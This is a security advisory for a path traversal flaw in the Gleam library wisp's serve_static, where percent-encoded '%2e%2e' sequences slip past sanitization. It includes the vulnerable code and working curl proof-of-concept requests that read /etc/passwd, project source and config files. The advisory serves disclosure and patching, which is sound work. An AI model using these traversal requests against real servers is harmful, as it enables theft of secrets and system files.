GHSA-h7cj-j2vv-qw8r Wisp Vulnerable to Path Traversal

• Hex wisp: >= 2.1.1, < 2.2.1 → fixed in 2.2.1

Summary `wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request. Details In `src/wisp.gleam`, `serve_static` processes the request path in this order: ```gleam let path = path |> string.drop_start(string.length(prefix)) |> string.replace(each: "..", with: "") // Step 1: sanitize |> filepath.join(directory, _) let path = case uri.percent_decode(path) { // Step 2: decode Ok(p) -> p Error(_) -> path } ``` Sanitization (step 1) strips literal `..` but runs before percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read. PoC Any application using `wisp.serve_static`: ```gleam fn handle_request(req: wisp.Request) -> wisp.Response { use <- wisp.serve_static(req, under: "/static", from: priv_directory()) wisp.not_found() } ``` Exploit (requires `--path-as-is` to prevent client-side normalization): ```bash Read /etc/passwd curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" Read project source code curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam" Read project config curl -s --path-as-is \ "http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml" ``` Impact This is a path traversal / arbitrary file read vulnerability (CWE-22). Any application using `wisp.serve_static` is affected. An unauthenticated attacker can read: • Application source code • Configuration and secrets in `priv/` • `.env` files, `secret_key_base`, private keys • System files (`/etc/passwd`, `/etc/shadow` if permissions allow) Workaround Copy the fixed implementation to your codebase and replace references to wisp.serve_static with this version in your codebase. References • Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550 • Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93